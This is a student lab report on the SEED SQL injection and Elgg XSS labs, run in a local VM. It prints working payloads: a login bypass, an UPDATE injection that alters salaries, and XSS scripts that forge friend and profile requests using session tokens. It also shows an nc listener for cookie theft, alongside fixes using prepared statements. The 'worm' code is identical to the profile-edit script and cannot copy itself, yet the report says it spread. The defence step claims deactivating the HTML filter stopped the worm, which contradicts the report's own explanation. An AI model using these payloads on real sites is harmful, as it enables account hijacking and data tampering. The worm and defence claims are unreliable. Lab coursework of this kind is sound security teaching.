20251904 2025-2026-2 《网络攻防实践》第十周作业

20251904 2025-2026-2 《网络攻防实践》实践十报告

1.实践内容

1.1实践内容总结

1.1.1SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

1.1.2SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

1.2知识点总结

SQL注入
攻击者通过在输入中插入引号提前闭合字符串,并用#等符号注释掉后续代码,从而破坏原始SQL逻辑。例如在登录框输入Admin'#,密码校验部分便被忽略,仅凭用户名即可越权登录。在更新语句中,利用逗号追加修改字段,可任意篡改他人工资或权限等敏感数据。注入成功的关键在于用户输入被直接拼接到SQL中,数据与指令边界模糊。
参数化查询
防御SQL注入的根本手段是使用预编译与参数绑定。代码不再拼接SQL字符串,而是先固定查询骨架(如WHERE name=? AND Password=?),再用bind_param把用户输入填入占位符。此时无论输入包含什么特殊字符,都仅被视为普通文本值,不会改变SQL语法,从根本上杜绝了注入可能。
XSS
存储型XSS将<script>等代码写入数据库,当其他用户访问相关页面时,脚本在其浏览器中运行。可能弹窗显示Cookie,也可能会用<img>或Ajax将Cookie外传给攻击者监听端,导致会话被窃取。受害者完全无感,攻击者借此可直接伪造身份登录。
XSS蠕虫
高级XSS攻击会利用JavaScript获取当前用户的Token和时间戳等防护参数,再用Ajax以受害者名义发起加好友、改资料等请求。通过在篡改的内容中嵌入相同的攻击代码,受害者主页变为新感染源,形成一传十、十传百的蠕虫传播链。
XSS防御
关闭类似HTMLawed的输入过滤插件会导致脚本直接入库;开启后,<script>等标签被转义为无害文本,无法执行。完整的防御体系还包括输出编码、设置内容安全策略(CSP)限制脚本来源、对敏感操作附加二次验证等,从多环节阻断恶意脚本注入与执行。

2.实践过程

2.0 下载SEEDUbuntu-16.04并更改主机名

这里下载安装过程与第一周时操作相同故不再赘述
image
键入su -
hostnamectl set-hostname 20251904sunchenxi并重新打开终端
image

2.1 SEED SQL注入攻击与防御实验

2.1.1熟悉SQL语句

su -后键入service apache2 status 以启动apache服务
image
如上图绿字显示(active(running))可以得知服务器正在运行
键入mysql -u root -pseedubuntu登录mysql
image
键入show databases;查看已有数据库
image
use Users;show tables;切换到User数据库并查看其中所有表
image
select * from credential;查看此表
image
select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录。
image

2.1.2对SELECT语句的SQL注入攻击

输入 www.seedlabsqlinjection.com 进入Web页面
image
右击查看网页源码,选择view page source
image
可以发现表单中使用 get 方法访问 unsafe_home.php
image
浏览器输入/var/www/SQLInjection/unsafe_home.php查看相关文件-open with gedit
通过下图可知,不同用户(admin,普通用户)的处理方法是不同的
image
image
因此,针对程序代码,我们可以构造用户名 Admin'#,并将其赋给变量 $input_uname。在 SQL 语句中,# 是注释符,这意味着它后面的密码校验部分会被注释掉而不再执行。通过这种方式,我们无需知道真实密码,只需随意输入密码,就能以 admin 身份成功登录,如下图所示:
image
成功登录
image

2.1.3对UPDATE语句的SQL注入攻击

点击顶部导航栏的 Edit Profile 进入资料更新页面,再右键查看view page sources
image
image
可以发现表单中使用 get 方法访问 unsafe_home.php
image
浏览器输入 /var/www/SQLInjection/unsafe_edit_backend.php查看相关文件-open with gedit
image
通过上图可知,可以在UPDATE更新语句的位置,设置 $input_nickname 的值来实施SQL注入攻击。将该值设为', Salary='20251904' where name='Admin'; #,从而将 Admin 的 Salary 字段修改为 20251904。
在NickName处输入 ', Salary='20251904‘ where name='Admin'; #
打开可以发现已成功改为我的学号20251904
image

2.1.4 SQL对抗

可以采用将参数与具体执行动作或条件相分离的方式来修改 SQL 语句,从而有效规避 SQL 注入风险。
(1)在 SELECT 查询中,利用 bind_param 方法将参数与执行动作或条件分开进行修改:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
(2)在 UPDATE 语句中,通过 bind_param 方法把参数与执行动作或条件分开进行修改:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1发布恶意消息,显示警报窗口

浏览器访问http://www.xsslabelgg.com
image
Alice,seedalice 进行登录
image
image
击Alice头像进入主页,Edit profile,在 Brief description中输入XSS攻击代码
image
save后发现出现xss弹窗
image

2.2.2弹窗显示cookie信息

打开Edit profile 在Brief description 中输入xss攻击代码
image
保存后可以看到cookie的信息
image

2.2.3窃取受害者的cookies

首先查看seed虚拟机的IP地址为192.168.85.131
image
根据seed的IP地址构造xss攻击代码并Edit profile 里面的 Brief description 中输入xss攻击代码保存
image
使用boby的账号进行登录。Boby;seedboby
image
nc -l 1904 -v 监听1904端口
image
和Alice成为好友
image
使用Boby的账号访问Alice,成功得到Boby的cookie

2.2.4成为受害者的朋友

image
打开浏览器开发者模式,进入Network页面,然后点击和Charlie成为好友,可以在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。
申请参数一共有三个,分别是:friend(id), __elgg_ts(时间戳), __elgg_token(token)
image
以此构造xss攻击代码,置于 Alice About me 下并选择 Edit HTML 模式

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

image
使用Boby登录,把Alice删掉
image
下图可以看到好友界面没有Alice了
image
再次进入Alice界面发现自动添加Alice为好友

2.2.5修改受害者信息

将如下代码输入Alice中about me

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>I am 20251904scx, I changed this content.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

image
登入Boby账号,访问Alice主页,发现访问后Boby主页about me被修改信息
image
image

2.2.6编写XSS蠕虫

构造一个具有传染性的xss蠕虫

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>I am 20251904sunchenxi, I changed this content.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

将这段xss蠕虫代码放入Alice的about me并保存
登录Boby账号,访问Alice主页后。发现已经被感染
image
登入Samy账号,访问已被感染的Boby账号,发现Samy也被感染了
image

2.2.7对抗XSS攻击

Admin seedelgg登录admin账号
Account->Administration->plugins
image
找到插件 HTMLawed ,将其关闭,设为 Deactivate 状态
image
登录Boby账号,发现XSS蠕虫攻击已经失效
image

3.学习中遇到的问题及解决

  • 问题1:show databases;后没有显示user
  • 问题1解决方案:换一个seedubuntu版本

4.实践总结

这次实验难度感觉还可以,但是给我的感触很深,亲手注入Admin'#越权,用

posted @ 2026-06-02 21:45  scx28  阅读(18)  评论(0)    收藏  举报